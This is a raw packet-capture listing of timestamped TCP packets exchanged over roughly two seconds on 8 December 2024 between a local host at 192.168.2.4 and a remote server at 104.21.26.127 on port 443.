Dec 8, 2024 01:47:06.512732983 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.518079996 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.518095016 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.518260002 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.518265963 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.518310070 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.523205996 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.523221016 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.523283958 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.523289919 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.523328066 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.539515972 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.539529085 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.539586067 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.539591074 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.539629936 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.546472073 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.546485901 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.546535969 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.546540976 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.546576977 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.551959038 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.551975012 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.552031994 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.552038908 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.552073956 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.565423012 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.565435886 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.565485001 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.565490007 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.565527916 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.699827909 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.699841976 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.699888945 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.699893951 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.699933052 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.704623938 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.704637051 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.704696894 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.704701900 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.704755068 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.710105896 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.710120916 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.710172892 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.710177898 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.710217953 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.715815067 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.715837955 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.715895891 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.715903997 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.715945005 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.732099056 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.732131958 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.732173920 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.732177973 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.732220888 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.738488913 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.738502026 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.738553047 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.738558054 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.738595963 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.744010925 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.744024038 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.744074106 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.744079113 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.744116068 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.748820066 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.748838902 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.748889923 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.748894930 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.748928070 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.891916990 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.891940117 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.891952991 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.891994953 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.891999006 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.892039061 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.897392035 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.897406101 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.897443056 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.897449017 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.897488117 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.902301073 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.902313948 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.902354956 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.902359962 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.902379036 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.902398109 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.907788992 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.907803059 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.907855034 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.907860041 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.907903910 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.924102068 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.924118996 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.924171925 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.924177885 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.924221039 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.930578947 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.930593967 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.930625916 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.930630922 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.930655003 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.930670023 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.936064959 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.936079979 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.936120987 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.936126947 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.936157942 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.940898895 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.940912962 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.940957069 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:06.940963984 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:06.941001892 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.084023952 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.084039927 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.084079981 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.084086895 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.084109068 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.084135056 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.089399099 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.089411974 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.089449883 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.089454889 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.089478016 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.089502096 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.094248056 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.094264030 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.094321012 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.094326019 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.094367027 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.100119114 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.100152969 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.100200891 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.100205898 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.100245953 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.116493940 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.116509914 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.116561890 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.116565943 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.116607904 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.122586012 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.122601986 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.122642040 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.122646093 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.122667074 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.122675896 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.128094912 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.128109932 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.128154993 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.128160000 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.128199100 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.133465052 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.133483887 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.133531094 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.133536100 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.133575916 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.276034117 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.276050091 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.276106119 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.276112080 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.276154995 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.281383038 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.281397104 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.281445026 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.281450033 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.281488895 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.286165953 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.286180019 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.286226034 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.286231041 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.286274910 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.297219992 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.297234058 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.297280073 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.297283888 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.297314882 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.317203999 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.317219019 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.317270041 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.317276001 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.317317963 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.322098970 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.322114944 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.322163105 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.322169065 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.322211027 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.327615976 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.327630043 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.327675104 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.327680111 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.327723026 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.332895041 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.332906961 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.332952976 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.332957029 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.332997084 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.467855930 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.467871904 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.467914104 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.467921019 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.467952967 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.467972040 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.473328114 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.473342896 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.473392010 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.473397017 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.473442078 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.478684902 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.478698969 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.478751898 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.478756905 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.478796959 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.489506006 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.489520073 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.489567995 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.489577055 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.489617109 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.509244919 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.509258986 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.509305954 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.509310007 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.509351015 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.514775991 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.514789104 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.514847040 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.514852047 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.514894009 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.519576073 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.519594908 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.519644022 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.519648075 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.519689083 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.524956942 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.524971962 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.525022030 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.525027037 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.525072098 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.660475016 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.660491943 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.660542011 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.660548925 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.660567999 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.660589933 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.665299892 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.665313959 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.665373087 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.665378094 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.665411949 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.670720100 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.670732021 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.670784950 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.670789957 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.670828104 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.681458950 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.681472063 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.681524992 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.681529999 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.681569099 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.701297998 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.701312065 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.701359034 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.701364040 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.701404095 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.706779003 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.706793070 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.706841946 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.706846952 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.706892014 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.711637020 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.711649895 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.711699009 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.711704016 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.711746931 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.717070103 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.717086077 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.717134953 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.717140913 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.717183113 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.853682995 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.853702068 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.853760958 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.853768110 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.853806019 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.858450890 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.858465910 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.858513117 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.858516932 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.858555079 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.862862110 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.862884045 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.862910032 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.862915039 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.862936020 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.862956047 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.873426914 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.873441935 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.873480082 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.873487949 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.873498917 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.873523951 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.893342972 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.893357038 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.893403053 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.893408060 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.893449068 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.898818970 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.898833036 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.898869991 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.898874044 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.898888111 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.898910999 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.903664112 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.903683901 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.903727055 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.903732061 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.903743029 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.903769970 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.909123898 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.909138918 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.909184933 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:07.909189939 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:07.909223080 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:08.044635057 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:08.044651031 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:08.044698954 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:08.044706106 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:08.044715881 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:08.046063900 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:08.050102949 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:08.050122023 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:08.050157070 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:08.050163031 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:08.050179005 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:08.050196886 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:08.055464983 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:08.055480003 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:08.055522919 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:08.055527925 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:08.055538893 CET	49979	443	192.168.2.4	104.21.26.127
